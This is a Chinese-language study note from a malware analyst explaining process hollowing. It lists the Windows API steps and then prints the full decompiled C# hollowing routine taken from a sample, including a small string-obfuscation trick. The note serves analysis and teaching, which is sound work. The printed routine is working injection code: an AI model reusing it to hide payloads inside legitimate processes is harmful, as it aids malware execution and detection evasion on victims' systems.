傀儡进程

前边分析样本,碰到个创建傀儡进程的dll,看了半天代码,才看懂是创建傀儡进程
写个笔记,总结一下
参考:https://www.4hou.com/technology/8869.html

实现思路:

1.通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起
2.通过NtUnmapViewOfSection清空新进程的内存数据
3.通过VirtualAllocEx申请新的内存
4.通过WriteProcessMemory向内存写入payload
5.通过SetThreadContext设置入口点
6.通过ResumeThread唤醒进程,执行payload

1、傀儡进程的选择

如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)
所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换

2、清空新进程的内存数据

进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像

NTSTATUS NtUnmapViewOfSection(
  _In_     HANDLE ProcessHandle,    //进程句柄
  _In_opt_ PVOID  BaseAddress       //映像基址 ,base virtual address
);
3、申请新的内存

使用VirtualAllocEx函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑“重定位”的问题

4、写入payload

写入时,需要先比较payload和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用.reloc区段)

5、恢复环境

替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器)
在最开始通过GetThreadContext获得所有寄存器的信息(保存在结构体_CONTEXT中)
然后使用SetThreadContext恢复寄存器信息,再通过ResumeThread唤醒进程,即可执行payload

样本中的创建傀儡进程

private static bool smethod_0(string string_0, byte[] byte_0, bool bool_0)
		{
			int num = 0;
			string string_ = "\"{path}\"";
			VOVO.Struct6 @struct = default(VOVO.Struct6);
			VOVO.Struct5 struct2 = default(VOVO.Struct5);
			@struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(VOVO.Struct6)));
			bool result;
			try
			{
				if (!VOVO.CreateProcess(string_0, string_, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2))
				{
					throw new Exception();
				}
				MethodInfo method = typeof(BitConverter).GetMethod("ToInt32");
				object[] parameters = new object[]
				{
					byte_0,
					60
				};
				int num2 = Convert.ToInt32(method.Invoke(null, parameters));
				object[] parameters2 = new object[]
				{
					byte_0,
					num2 + 26 + 26
				};
				int num3 = Convert.ToInt32(method.Invoke(null, parameters2));
				int[] array = new int[179];
				array[0] = 65538;
				if (IntPtr.Size == 4)
				{
					if (!VOVO.GetThreadContext(struct2.intptr_1, array))
					{
						throw new Exception();
					}
				}
				else if (!VOVO.Wow64GetThreadContext(struct2.intptr_1, array))
				{
					throw new Exception();
				}
				int num4 = array[41];
				int num5 = 0;
				if (!VOVO.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
				{
					throw new Exception();
				}
				if (num3 == num5 && VOVO.NtUnmapViewOfSection(struct2.intptr_0, num5) != 0)
				{
					throw new Exception();
				}
				object[] parameters3 = new object[]
				{
					byte_0,
					num2 + 80
				};
				int int_ = Convert.ToInt32(method.Invoke(null, parameters3));
				object[] parameters4 = new object[]
				{
					byte_0,
					num2 + 42 + 42
				};
				int int_2 = Convert.ToInt32(method.Invoke(null, parameters4));
				bool flag = false;
				int num6 = VOVO.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288, 64);
				if (num6 == 0)
				{
					throw new Exception();
				}
				if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6, byte_0, int_2, ref num))
				{
					throw new Exception();
				}
				int num7 = num2 + 248;
				short num8 = BitConverter.ToInt16(byte_0, num2 + 3 + 3);
				for (int i = 0; i < (int)num8; i++)
				{
					object[] parameters5 = new object[]
					{
						byte_0,
						num7 + 6 + 6
					};
					int num9 = Convert.ToInt32(method.Invoke(null, parameters5));
					object[] parameters6 = new object[]
					{
						byte_0,
						num7 + 8 + 8
					};
					int num10 = Convert.ToInt32(method.Invoke(null, parameters6));
					object[] parameters7 = new object[]
					{
						byte_0,
						num7 + 20
					};
					int num11 = Convert.ToInt32(method.Invoke(null, parameters7));
					if (num10 != 0)
					{
						byte[] array2 = new byte[num10];
						MethodInfo method2 = typeof(Buffer).GetMethod("Bl#####ckC#####py".Replace("#####", "o"));
						object[] parameters8 = new object[]
						{
							byte_0,
							num11,
							array2,
							0,
							array2.Length
						};
						method2.Invoke(null, parameters8);
						if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num))
						{
							throw new Exception();
						}
					}
					num7 += 40;
				}
				byte[] bytes = BitConverter.GetBytes(num6);
				if (!VOVO.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4, ref num))
				{
					throw new Exception();
				}
				object[] parameters9 = new object[]
				{
					byte_0,
					num2 + 40
				};
				int num12 = Convert.ToInt32(method.Invoke(null, parameters9));
				if (flag)
				{
					num6 = num3;
				}
				array[44] = num6 + num12;
				if (IntPtr.Size == 4)
				{
					if (!VOVO.SetThreadContext(struct2.intptr_1, array))
					{
						throw new Exception();
					}
				}
				else if (!VOVO.Wow64SetThreadContext(struct2.intptr_1, array))
				{
					throw new Exception();
				}
				if (VOVO.ResumeThread(struct2.intptr_1) == -1)
				{
					throw new Exception();
				}
			}
			catch
			{
				Process processById = Process.GetProcessById(Convert.ToInt32(struct2.uint_0));
				processById.Kill();
				result = false;
				return result;
			}
			result = true;
			return result;
		}

你可能感兴趣的:(傀儡进程)